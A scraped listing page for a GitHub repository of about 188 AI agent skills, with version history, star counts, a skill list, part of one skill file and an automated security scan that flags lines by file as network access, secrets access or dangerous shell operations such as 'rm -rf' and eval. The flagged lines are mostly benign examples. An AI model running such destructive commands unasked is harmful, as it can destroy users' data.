No earlier version was observed for comparison.

Compare on GitHub

skills/verified-pseudocode-extractor/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/verified-spec-code-mapper/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/vulnerability-pattern-matcher/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/vulnerability-root-cause-analyzer/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

View on GitHubAdd to my skills

Verified commit 4f38503747e0617504bce5329283ef837d375c09

260GitHub stars
1star in 7 days
188skills in this repository
0commits in 30 days

Heat

1.7
  • Star growth, last 7 daysNot available
  • Star growth, last 24 hoursNot available
  • Rank movement, last 7 daysNot available
  • Commits, last 30 daysNot available
  • Accounts asking about it through MCP, last 7 daysNot available
  • Hot votes this weekNot available

Heat never changes the order by stars, and sponsorship never touches it. How heat works

Stars over time

Oct 25, 2026Nov 1, 2026260

30-day change not yet available: not enough history.

Individual skills in this repository

How it works

abstract-domain-explorer

When your agent uses it

Applies abstract interpretation using different abstract domains (intervals, octagons, polyhedra, sign, congruence) to statically analyze program variables and infer invariants, value ranges, and relationships. Use when analyzing program properties, inferring loop invariants, detecting potential errors, or understanding variable relationships through static analysis.

What it loads into context

Frontmatter

75 tokens

Always available to the agent

SKILL.md

2,892 tokens

When the skill is activated

Reference documents

4,943 tokens

Loaded on request

Token counts are estimates. Scripts run separately; they are not counted as reference context.

The playbook

  1. Overview
  2. Analysis Workflow
  3. Analysis Examples
  4. Domain Comparison
  5. Choosing the Right Domain
  6. Constraints
  7. Resources

Files

  • SKILL.mdcore9,606 bytes
  • references/abstract_domains.mddoc14,681 bytes
  • references/api_reference.mddoc975 bytes
Read SKILL.md

# Abstract Domain Explorer

## Overview

This skill applies abstract interpretation to statically analyze programs using various abstract domains. It infers invariants, value ranges, and relationships between variables without executing the code. Different domains offer different trade-offs between precision and efficiency.

## Analysis Workflow

Follow these steps to analyze programs with abstract domains:

### 1. Select Appropriate Domain(s)

**Choose based on analysis goals:**
View the complete source on GitHub

Skills included

  • abstract-domain-explorer
  • abstract-invariant-generator
  • abstract-state-analyzer
  • abstract-trace-summarizer
  • acsl-annotation-assistant
  • agent-browser
  • ambiguity-detector
  • api-design-assistant
  • api-documentation-generator
  • assertion-synthesizer
  • behavior-preservation-checker
  • behavioral-mutation-analyzer
  • bisect-aware-instrumentation
  • bug-history-summarizer
  • bug-localization
  • bug-reproduction-test-generator
  • bug-to-patch-generator
  • build-ci-migration-assistant
  • c-cpp-to-lean4-translator
  • cd-pipeline-generator
  • change-log-generator
  • ci-pipeline-synthesizer
  • code-change-summarizer
  • code-comment-generator
  • code-completion-semantic-constraints
  • code-instrumentation-generator
  • code-optimizer
  • code-pattern-extractor
  • code-refactoring-assistant
  • code-repair-generation-combo
  • code-review-assistant
  • code-search-assistant
  • code-smell-detector
  • code-summarizer
  • code-translation
  • component-boundary-identifier
  • config-consistency-checker
  • configuration-generator
  • conflict-analyzer
  • containerization-assistant
  • control-flow-abstraction-generator
  • counterexample-debugger
  • counterexample-explainer
  • counterexample-generator
  • counterexample-to-test-generator
  • coverage-enhancer
  • cpp-to-dafny-translator
  • critical-interval-security-checker
  • cve-reachability-analyzer
  • cve-watchlist-action-recommendation-generator
  • dead-code-eliminator
  • dead-code-removal
  • dependency-resolver
  • deprecated-api-updater
  • design-pattern-suggestor
  • design-smell-detector
  • directed-test-input-generator
  • edge-case-generator
  • environment-setup-assistant
  • error-explanation-generator
  • exploitability-analyzer
  • failure-oriented-instrumentation
  • flaky-test-detector
  • formal-spec-generator
  • framework-migration-assistant
  • frontend-ui-ux
  • function-class-generator
  • fuzzing-input-generator
  • git-bisect-assistant
  • git-master
  • github-triage
  • imperative-to-coq-model-extractor
  • incremental-java-programmer
  • incremental-python-programmer
  • init-deep
  • integration-test-generator
  • interface-contract-verifier
  • interface-specification-generator
  • interval-difference-analyzer
  • interval-guided-regression-test-update
  • interval-profiling-performance-analyzer
  • invariant-inference
  • issue-report-generator
  • java-api-consistency-validator
  • java-regression-test-generator
  • java-test-updater
  • legacy-code-summarizer
  • lemma-discovery-assistant
  • library-advisor
  • linkedin
  • lsp-refactoring
  • markdown-document-structurer
  • metamorphic-property-extractor
  • metamorphic-test-generator
  • mocking-test-generator
  • model-guided-code-repair
  • modular-code-enforcement
  • module-component-generator
  • module-level-code-translator
  • multi-version-behavior-comparator
  • mutation-test-suite-optimizer
  • nl-to-constraints
  • playwright-automation
  • program-correctness-prover
  • program-to-model-extractor
  • program-to-tlaplus-spec-generator
  • proof-carrying-code-generator
  • proof-failure-explainer
  • proof-refactoring-assistant
  • proof-skeleton-generator
  • proof-trace-summarizer
  • pseudocode-extractor
  • pseudocode-to-java-code
  • pseudocode-to-python-code
  • python-api-consistency-validator
  • python-regression-test-generator
  • python-repo-quickstart
  • python-test-updater
  • python-to-dafny-translator
  • python-to-lean4-translator
  • readme-generator
  • reference-searcher
  • refinement-step-generator
  • regression-consistency-checker
  • regression-root-cause-analyzer
  • release-change-analyzer
  • release-notes-writer
  • replay-oriented-instrumentation
  • reproduction-trace-instrumenter
  • req-to-test
  • requirement-comparison-reporter
  • requirement-coverage-checker
  • requirement-enhancer
  • requirement-summarizer
  • requirement-summary
  • requirement-to-tlaplus-property-generator
  • rollback-strategy-advisor
  • rtl-equivalence-checker
  • rtl-property-inference
  • rtl-specification-consistency-checker
  • runtime-error-explainer
  • scenario-generator
  • security-patch-advisor
  • security-sensitive-path-instrumenter
  • semantic-bug-detector
  • semantic-equivalence-verifier
  • semantic-szz-analyzer
  • session-handoff
  • skill-creator
  • smart-mutation-operator-generator
  • smv-model-extractor
  • specification-driven-generation
  • specification-generator
  • specification-to-temporal-logic-generator
  • spring-mvc-to-boot-migrator
  • state-snapshot-instrumenter
  • static-bug-detector
  • static-reasoning-verifier
  • static-vulnerability-detector
  • strategic-planner
  • symbolic-execution-assistant
  • system-diagram-generator
  • szz-bug-introducing-commit-identifier
  • tactic-suggestion-assistant
  • taint-instrumentation-assistant
  • technical-debt-analyzer
  • template-code-generator
  • test-case-documentation
  • test-case-reducer
  • test-deduplicator
  • test-driven-generation
  • test-guided-bug-detector
  • test-guided-debloating
  • test-guided-migration-assistant
  • test-oracle-generator
  • test-suite-prioritizer
  • time-aware-dependency-cve-scanner
  • tlaplus-guided-code-repair
  • tlaplus-model-reduction
  • tlaplus-spec-generator
  • trace-collection-assistant
  • traceability-matrix-generator
  • unit-test-generator
  • verification-boundary-reporter
  • verified-pseudocode-extractor
  • verified-spec-code-mapper
  • vulnerability-pattern-matcher
  • vulnerability-root-cause-analyzer

Repository facts

License
Apache-2.0
Created
Feb 14, 2026
Last pushed
Aug 21, 2026
Forks
26
Open issues
0
Project activity
Slowing

Before you install

Network or broad shell

Automated signals, not a guarantee

Checked Nov 6, 2026

Not fully analyzed: some files were too long, unreadable or missing. This never lowers the level.

Show 1,482 notes
  • skills/abstract-invariant-generator/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/abstract-invariant-generator/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/abstract-invariant-generator/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/abstract-invariant-generator/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/abstract-invariant-generator/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/abstract-invariant-generator/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/abstract-invariant-generator/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/abstract-invariant-generator/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/abstract-invariant-generator/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/abstract-invariant-generator/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/abstract-invariant-generator/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/abstract-invariant-generator/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/abstract-invariant-generator/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/abstract-invariant-generator/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/abstract-invariant-generator/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/abstract-invariant-generator/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/abstract-invariant-generator/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/abstract-invariant-generator/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/abstract-invariant-generator/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/abstract-invariant-generator/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
Show all 1,004 signals by file

skills/agent-browser/SKILL.md

  • Access to secretsline 143
    [Credential-related source omitted]
  • Access to secretsline 144
    [Credential-related source omitted]
  • Access to secretsline 145
    [Credential-related source omitted]
  • Dangerous shell operationline 182
    agent-browser eval "document.title"   # Run JavaScript
  • Network accessline 199
    agent-browser open https://example.com/form
  • Network accessline 213
    # Login once agent-browser open https://app.example.com/login
  • Network accessline 214
    agent-browser open https://app.example.com/login
  • Network accessline 222
    # Later sessions: load saved state agent-browser state load auth.json agent-browser open https://app.example.com/dashboard
  • Network accessline 224
    agent-browser open https://app.example.com/dashboard
  • Network accessline 264
    # Verify agent-browser open https://example.com --headed
  • Network accessline 265
    agent-browser open https://example.com --headed
  • Network accessline 268
    Run `agent-browser --help` for all commands. Repo: https://github.com/vercel-labs/agent-browser
  • Network accessline 270
    **Inspired by:** [oh-my-opencode](https://github.com/code-yeongyu/oh-my-opencode) agent-browser skill

skills/ambiguity-detector/references/ambiguity_patterns.md

  • Network accessline 315
    [Credential-related source omitted]

skills/api-design-assistant/references/openapi-template.md

  • Network accessline 17
    servers:   - url: https://api.example.com/v1
  • Network accessline 18
    - url: https://api.example.com/v1
  • Network accessline 19
    description: Production server   - url: https://staging-api.example.com/v1     description: Staging server
  • Network accessline 20
    - url: https://staging-api.example.com/v1
  • Network accessline 435
    flows:         authorizationCode:           authorizationUrl: https://example.com/oauth/authorize
  • Network accessline 436
    authorizationCode:           authorizationUrl: https://example.com/oauth/authorize           tokenUrl: https://example.com/oauth/token
  • Network accessline 437
    authorizationUrl: https://example.com/oauth/authorize
  • Network accessline 438
    tokenUrl: https://example.com/oauth/token
  • Network accessline 453
    servers:   - url: https://api.example.com/v1
  • Network accessline 454
    - url: https://api.example.com/v1

skills/api-documentation-generator/SKILL.md

  • Network accessline 151
    ## Base URL https://api.example.com/v1
  • Network accessline 152
    https://api.example.com/v1
  • Network accessline 250
    curl -X POST "https://api.example.com/v1/users" \
  • Network accessline 262
    response = requests.post(
  • Network accessline 263
    "https://api.example.com/v1/users",
  • Network accessline 350
    curl -X POST "https://api.example.com/v1/users" \
  • Network accessline 359
    # Create user response = requests.post(
  • Network accessline 360
    response = requests.post(
  • Network accessline 361
    "https://api.example.com/v1/users",
  • Network accessline 372
    # Get user details response = requests.get(
  • Network accessline 373
    response = requests.get(
  • Network accessline 374
    f"https://api.example.com/v1/users/{user_id}",
  • Network accessline 447
    7. Create schemas.md with all data models 8. Create errors.md with error codes 9. Add code examples in curl and Python
  • Network accessline 449
    9. Add code examples in curl and Python

skills/api-documentation-generator/assets/api-doc-template.md

  • Network accessline 10
    https://api.example.com/v1
  • Network accessline 71
    curl -X GET "https://api.example.com/v1/resource?page=1&limit=20" \
  • Network accessline 142
    curl -X POST "https://api.example.com/v1/resource" \
  • Network accessline 381
    curl -X POST "https://api.example.com/v1/resource" \
  • Network accessline 404
    curl -X GET "https://api.example.com/v1/resource/456" \

skills/behavior-preservation-checker/SKILL.md

  • Network accessline 120
    # Test API endpoints python scripts/compare_api_outputs.py \     --original-url http://localhost:8000 \
  • Network accessline 121
    python scripts/compare_api_outputs.py      --original-url http://localhost:8000
  • Network accessline 122
    --original-url http://localhost:8000 \
  • Network accessline 123
    --migrated-url http://localhost:8001 \

skills/behavior-preservation-checker/references/comparison_techniques.md

  • Network accessline 176
    def compare_api_responses(original_url, migrated_url, endpoint):     orig_resp = requests.get(f"{original_url}{endpoint}")
  • Network accessline 177
    orig_resp = requests.get(f"{original_url}{endpoint}")
  • Network accessline 178
    mig_resp = requests.get(f"{migrated_url}{endpoint}")

skills/behavior-preservation-checker/references/difference_patterns.md

  • Network accessline 546
    # Original response = requests.get(url, timeout=30)
  • Network accessline 547
    response = requests.get(url, timeout=30)
  • Network accessline 549
    # Migrated (incorrect) response = requests.get(url)  # No timeout!
  • Network accessline 550
    response = requests.get(url)  # No timeout!

skills/behavior-preservation-checker/scripts/behavior_checker.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/behavior-preservation-checker/scripts/compare_test_results.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/behavior-preservation-checker/scripts/compare_traces.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/behavior-preservation-checker/scripts/trace_execution.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/bisect-aware-instrumentation/SKILL.md

  • Dangerous shell operationline 89
    rm -rf /tmp/test_cache

skills/bisect-aware-instrumentation/references/git_bisect_guide.md

  • Dangerous shell operationline 296
    rm -rf /tmp/cache
  • Access to secretsline 351
    [Credential-related source omitted]
  • Network accessline 421
    - Git bisect documentation: https://git-scm.com/docs/git-bisect
  • Network accessline 422
    - Pro Git book chapter: https://git-scm.com/book/en/v2/Git-Tools-Debugging-with-Git
  • Network accessline 423
    - Git bisect examples: https://github.com/git/git/tree/master/contrib/examples

skills/bisect-aware-instrumentation/scripts/bisect_template.sh

  • Executable scriptline 1
    #!/bin/bash
  • Dangerous shell operationline 99
    rm -rf /tmp/test_cache_*
  • Dangerous shell operationline 123
    rm "$TEST_OUTPUT"

skills/bisect-aware-instrumentation/scripts/bisect_wrapper.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/build-ci-migration-assistant/references/build-systems.md

  • Network accessline 59
    <repository>         <id>central</id>         <url>https://repo.maven.apache.org/maven2</url>
  • Network accessline 60
    <id>central</id>         <url>https://repo.maven.apache.org/maven2</url>     </repository>
  • Network accessline 61
    <url>https://repo.maven.apache.org/maven2</url>
  • Dangerous shell operationline 191
    rm -f $(OBJS) $(TARGET)

skills/build-ci-migration-assistant/references/ci-platforms.md

  • Access to secretsline 103
    [Credential-related source omitted]
  • Access to secretsline 413
    [Credential-related source omitted]
  • Access to secretsline 419
    [Credential-related source omitted]

skills/c-cpp-to-lean4-translator/SKILL.md

  • Network accessline 439
    - **Translation patterns:** See [translation_patterns.md](references/translation_patterns.md) for comprehensive pattern catalog - **Lean4 documentation:** https://lean-lang.org/documentation/
  • Network accessline 440
    - **Lean4 documentation:** https://lean-lang.org/documentation/
  • Network accessline 441
    - **Lean4 standard library:** https://github.com/leanprover/lean4/tree/master/src/Init

skills/cd-pipeline-generator/SKILL.md

  • Network accessline 87
    - name: Health check   run: curl -f https://$DEPLOYMENT_URL/health || exit 1
  • Network accessline 88
    run: curl -f https://$DEPLOYMENT_URL/health || exit 1

skills/change-log-generator/SKILL.md

  • Network accessline 265
    The format is based on [Keep a Changelog](https://keepachangelog.com/),
  • Network accessline 266
    and this project adheres to [Semantic Versioning](https://semver.org/).
  • Network accessline 446
    [Full Changelog](https://github.com/user/repo/compare/v1.2.0...v1.3.0)
  • Network accessline 557
    [Full Changelog](https://github.com/user/repo/compare/v1.2.0...v1.3.0)
  • Network accessline 587
    The format is based on [Keep a Changelog](https://keepachangelog.com/),
  • Network accessline 588
    and this project adheres to [Semantic Versioning](https://semver.org/).
  • Network accessline 598
    [Full Changelog](https://github.com/user/repo/compare/v1.2.0...v1.3.0) | [Release Notes](link)
  • Dangerous shell operationline 722
    rm "$file"

skills/ci-pipeline-synthesizer/SKILL.md

  • Network accessline 114
    - Use `actions/cache` for dependencies to reduce build times - Keep matrix versions current with language support policies - Add status badges to README.md: `![CI](https://github.com/user/repo/workflows/CI/badge.svg)`
  • Network accessline 116
    - Add status badges to README.md: `![CI](https://github.com/user/repo/workflows/CI/badge.svg)`

skills/code-comment-generator/references/comment_examples.md

  • Access to secretsline 152
    [Credential-related source omitted]
  • Access to secretsline 158
    [Credential-related source omitted]
  • Access to secretsline 164
    [Credential-related source omitted]
  • Access to secretsline 169
    [Credential-related source omitted]
  • Network accessline 171
    [Credential-related source omitted]
  • Network accessline 172
    [Credential-related source omitted]
  • Access to secretsline 172
    [Credential-related source omitted]
  • Network accessline 173
    self.base_url = "https://api.payment-provider.com/v1"
  • Access to secretsline 250
    [Credential-related source omitted]
  • Network accessline 254
    response = requests.request(
  • Access to secretsline 709
    [Credential-related source omitted]
  • Access to secretsline 712
    [Credential-related source omitted]
  • Access to secretsline 716
    [Credential-related source omitted]
  • Access to secretsline 726
    [Credential-related source omitted]
  • Access to secretsline 730
    [Credential-related source omitted]
  • Access to secretsline 733
    [Credential-related source omitted]

skills/code-comment-generator/references/style_guides.md

  • Network accessline 398
    * @see UserValidator#validate(String)  * @see #processInternal(User)  * @see <a href="https://docs.example.com/api">API Documentation</a>
  • Network accessline 399
    * @see #processInternal(User)  * @see <a href="https://docs.example.com/api">API Documentation</a>  */
  • Network accessline 400
    * @see <a href="https://docs.example.com/api">API Documentation</a>

skills/code-pattern-extractor/SKILL.md

  • Network accessline 56
    async function fetchX() {   try {     const response = await fetch(url);
  • Network accessline 57
    try {     const response = await fetch(url);     if (!response.ok) throw new Error();
  • Network accessline 58
    const response = await fetch(url);

skills/code-search-assistant/SKILL.md

  • Network accessline 63
    // Input snippet calls: fetch(), JSON.parse(), setState()
  • Network accessline 64
    // High match: Code that calls fetch() → JSON.parse() → setState()
  • Network accessline 65
    // Medium match: Code that calls fetch() and setState() in different order
  • Network accessline 66
    // Low match: Code that only calls fetch()
  • Network accessline 201
    async function fetchUserData(userId) {   try {     const response = await fetch(`/api/users/${userId}`);
  • Network accessline 202
    try {     const response = await fetch(`/api/users/${userId}`);     const data = await response.json();
  • Network accessline 203
    const response = await fetch(`/api/users/${userId}`);
  • Network accessline 213
    **Search process**: 1. Call chain: Search for `fetch()`, `response.json()`, `console.error()`
  • Network accessline 214
    1. Call chain: Search for `fetch()`, `response.json()`, `console.error()`

skills/code-smell-detector/SKILL.md

  • Network accessline 515
    # Complexity checks radon cc src/ -nc  # Fail on complex functions
  • Network accessline 516
    radon cc src/ -nc  # Fail on complex functions

skills/code-smell-detector/scripts/detect_smells.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/code-translation/SKILL.md

  • Network accessline 89
    async function fetchUserData(userId) {     try {         const response = await fetch(`/api/users/${userId}`);
  • Network accessline 90
    try {         const response = await fetch(`/api/users/${userId}`);         if (!response.ok) {
  • Network accessline 91
    const response = await fetch(`/api/users/${userId}`);
  • Network accessline 109
    """Fetch user data from API."""     try:         async with aiohttp.ClientSession() as session:
  • Network accessline 110
    try:         async with aiohttp.ClientSession() as session:             async with session.get(f'/api/users/{user_id}') as response:
  • Network accessline 111
    async with aiohttp.ClientSession() as session:
  • Network accessline 239
    # Python async def fetch_all(urls):     tasks = [fetch(url) for url in urls]
  • Network accessline 240
    async def fetch_all(urls):     tasks = [fetch(url) for url in urls]     return await asyncio.gather(*tasks)
  • Network accessline 241
    tasks = [fetch(url) for url in urls]
  • Network accessline 245
    // JavaScript async function fetchAll(urls) {     const promises = urls.map(url => fetch(url));
  • Network accessline 246
    async function fetchAll(urls) {     const promises = urls.map(url => fetch(url));     return await Promise.all(promises);
  • Network accessline 247
    const promises = urls.map(url => fetch(url));
  • Network accessline 378
    # Python using requests import requests response = requests.get(url)
  • Network accessline 379
    import requests response = requests.get(url) data = response.json()
  • Network accessline 380
    response = requests.get(url)
  • Network accessline 384
    // JavaScript using fetch const response = await fetch(url);
  • Network accessline 385
    const response = await fetch(url);

skills/code-translation/references/idiomatic_guide.md

  • Network accessline 171
    // Idiomatic: fetch API const data = await fetch(url).then(res => res.json());
  • Network accessline 172
    const data = await fetch(url).then(res => res.json());
  • Network accessline 276
    async function fetchUserData(id) {     try {         const user = await fetch(`/api/users/${id}`).then(r => r.json());
  • Network accessline 277
    try {         const user = await fetch(`/api/users/${id}`).then(r => r.json());         return user;
  • Network accessline 278
    const user = await fetch(`/api/users/${id}`).then(r => r.json());
  • Network accessline 286
    // Not idiomatic function fetchUserData(id, callback) {     fetch(`/api/users/${id}`)
  • Network accessline 287
    function fetchUserData(id, callback) {     fetch(`/api/users/${id}`)         .then(r => r.json())
  • Network accessline 288
    fetch(`/api/users/${id}`)

skills/code-translation/references/project_migration.md

  • Access to secretsline 354
    [Credential-related source omitted]
  • Access to secretsline 356
    [Credential-related source omitted]
  • Access to secretsline 369
    [Credential-related source omitted]
  • Access to secretsline 383
    [Credential-related source omitted]
  • Network accessline 502
    # Python async def fetch_all(urls):     tasks = [fetch(url) for url in urls]
  • Network accessline 503
    async def fetch_all(urls):     tasks = [fetch(url) for url in urls]     return await asyncio.gather(*tasks)
  • Network accessline 504
    tasks = [fetch(url) for url in urls]
  • Network accessline 516
    go func(idx int, u string) {             defer wg.Done()             results[idx] = fetch(u)
  • Network accessline 517
    defer wg.Done()             results[idx] = fetch(u)         }(i, url)
  • Network accessline 518
    results[idx] = fetch(u)

skills/component-boundary-identifier/scripts/analyze_boundaries.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/config-consistency-checker/SKILL.md

  • Access to secretsline 110
    [Credential-related source omitted]

skills/configuration-generator/SKILL.md

  • Access to secretsline 297
    [Credential-related source omitted]
  • Access to secretsline 322
    [Credential-related source omitted]
  • Network accessline 435
    web:     healthcheck:       test: ["CMD", "curl", "-f", "http://localhost:8000/health"]
  • Network accessline 436
    healthcheck:       test: ["CMD", "curl", "-f", "http://localhost:8000/health"]       interval: 30s
  • Network accessline 437
    test: ["CMD", "curl", "-f", "http://localhost:8000/health"]

skills/configuration-generator/assets/docker-compose.yml

  • Access to secretsline 14
    [Credential-related source omitted]

skills/configuration-generator/references/app_configs.md

  • Network accessline 79
    [[source]] url = "https://pypi.org/simple"
  • Network accessline 80
    url = "https://pypi.org/simple"
  • Network accessline 221
    proxy: {       '/api': {         target: 'http://localhost:8000',
  • Network accessline 222
    '/api': {         target: 'http://localhost:8000',         changeOrigin: true,
  • Network accessline 223
    target: 'http://localhost:8000',
  • Network accessline 436
    # Security CORS_ORIGINS=http://localhost:3000,http://localhost:8080
  • Network accessline 437
    CORS_ORIGINS=http://localhost:3000,http://localhost:8080
  • Access to secretsline 486
    [Credential-related source omitted]

skills/configuration-generator/references/infra_configs.md

  • Access to secretsline 101
    [Credential-related source omitted]
  • Network accessline 480
    script:     - apk add --no-cache curl     - curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl"
  • Network accessline 481
    - apk add --no-cache curl     - curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl"     - chmod +x kubectl
  • Network accessline 482
    - curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl"
  • Network accessline 485
    environment:     name: production     url: https://myapp.example.com
  • Network accessline 487
    url: https://myapp.example.com
  • Network accessline 614
    # Redirect HTTP to HTTPS         return 301 https://$server_name$request_uri;
  • Network accessline 615
    return 301 https://$server_name$request_uri;
  • Network accessline 632
    location / {             proxy_pass http://backend;
  • Network accessline 633
    proxy_pass http://backend;
  • Network accessline 640
    location /api/ {             limit_req zone=api_limit burst=20 nodelay;             proxy_pass http://backend;
  • Network accessline 641
    limit_req zone=api_limit burst=20 nodelay;             proxy_pass http://backend;             proxy_set_header Host $host;
  • Network accessline 642
    proxy_pass http://backend;
  • Network accessline 659
    <VirtualHost *:80>     ServerName myapp.example.com     Redirect permanent / https://myapp.example.com/
  • Network accessline 660
    ServerName myapp.example.com     Redirect permanent / https://myapp.example.com/ </VirtualHost>
  • Network accessline 661
    Redirect permanent / https://myapp.example.com/
  • Network accessline 676
    # Proxy to backend     ProxyPass / http://localhost:8000/
  • Network accessline 677
    ProxyPass / http://localhost:8000/
  • Network accessline 678
    ProxyPassReverse / http://localhost:8000/

skills/containerization-assistant/SKILL.md

  • Access to secretsline 36
    [Credential-related source omitted]
  • Access to secretsline 38
    [Credential-related source omitted]
  • Access to secretsline 238
    [Credential-related source omitted]
  • Access to secretsline 384
    [Credential-related source omitted]

skills/containerization-assistant/assets/.env.example

  • Access to secretsline 17
    [Credential-related source omitted]

skills/containerization-assistant/assets/Dockerfile.go

  • Executable scriptline 1
    Executable file

skills/containerization-assistant/assets/Dockerfile.python

  • Dangerous shell operationline 11
    && rm -rf /var/lib/apt/lists/*

skills/containerization-assistant/references/dockerfile_best_practices.md

  • Access to secretsline 78
    [Credential-related source omitted]
  • Dangerous shell operationline 96
    RUN apt-get update &&      apt-get install -y package &&      apt-get clean &&      rm -rf /var/lib/apt/lists/*
  • Dangerous shell operationline 99
    rm -rf /var/lib/apt/lists/*
  • Network accessline 111
    HEALTHCHECK --interval=30s --timeout=3s --start-period=40s --retries=3 \   CMD curl -f http://localhost:3000/health || exit 1
  • Network accessline 112
    CMD curl -f http://localhost:3000/health || exit 1

skills/containerization-assistant/references/kubernetes_patterns.md

  • Access to secretsline 98
    [Credential-related source omitted]
  • Network accessline 434
    - name: wait-for-db         image: busybox:1.35         command: ['sh', '-c', 'until nc -z postgres 5432; do sleep 2; done']
  • Network accessline 436
    command: ['sh', '-c', 'until nc -z postgres 5432; do sleep 2; done']

skills/counterexample-to-test-generator/assets/test_templates/python_pytest_template.py

  • Executable scriptline 1
    Executable file

skills/critical-interval-security-checker/references/vulnerability_patterns.md

  • Possible obfuscationline 188
    const decoded = JSON.parse(atob(token.split('.')[1]));

skills/critical-interval-security-checker/scripts/check_intervals.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 111
    [Credential-related source omitted]

skills/cve-reachability-analyzer/SKILL.md

  • Dangerous shell operationline 112
    - Search for `eval()`, `exec()`, `Function()` constructor

skills/cve-reachability-analyzer/references/language_guide.md

  • Access to secretsline 31
    [Credential-related source omitted]
  • Dangerous shell operationline 66
    - Check for `eval()`, `Function()` constructor
  • Dangerous shell operationline 172
    - Check for `send()`, `public_send()`, `method()`, `eval()`
  • Dangerous shell operationline 238
    - Look for `eval()`, `create_function()`

skills/cve-reachability-analyzer/references/reachability_patterns.md

  • Access to secretsline 88
    [Credential-related source omitted]

skills/cve-watchlist-action-recommendation-generator/SKILL.md

  • Network accessline 91
    "severity": "high",         "title": "SQL Injection",         "url": "https://..."
  • Network accessline 92
    "title": "SQL Injection",         "url": "https://..."       }],
  • Network accessline 93
    "url": "https://..."

skills/cve-watchlist-action-recommendation-generator/scripts/calculate_risk_score.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/cve-watchlist-action-recommendation-generator/scripts/parse_scan_results.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/dead-code-eliminator/scripts/find_unused_functions.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/dead-code-eliminator/scripts/find_unused_imports.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/dead-code-removal/SKILL.md

  • Network accessline 195
    **Inspired by:** [oh-my-opencode](https://github.com/code-yeongyu/oh-my-opencode) remove-deadcode command

skills/dependency-resolver/SKILL.md

  • Network accessline 241
    Dependency of: express Path: express > lodash More info: https://npmjs.com/advisories/1065
  • Network accessline 243
    More info: https://npmjs.com/advisories/1065
  • Dangerous shell operationline 705
    rm -rf node_modules
  • Dangerous shell operationline 735
    rm package-lock.json
  • Network accessline 755
    # Try different registry npm config set registry https://registry.npmjs.org/
  • Network accessline 756
    npm config set registry https://registry.npmjs.org/
  • Dangerous shell operationline 779
    sudo apt-get install build-essential python3

skills/deprecated-api-updater/SKILL.md

  • Dangerous shell operationline 184
    find . -name "*.bak" -delete

skills/deprecated-api-updater/references/javascript_deprecations.md

  • Network accessline 23
    // ❌ Deprecated const url = require('url'); const parsed = url.parse('https://example.com/path?query=1');
  • Network accessline 25
    const parsed = url.parse('https://example.com/path?query=1');
  • Network accessline 27
    // ✅ Modern const parsed = new URL('https://example.com/path?query=1');
  • Network accessline 28
    const parsed = new URL('https://example.com/path?query=1');
  • Network accessline 370
    document.querySelector('.element').classList.add('active'); document.querySelector('.element').addEventListener('click', handler); fetch('/api/data');
  • Network accessline 372
    fetch('/api/data');

skills/deprecated-api-updater/references/python_deprecations.md

  • Network accessline 272
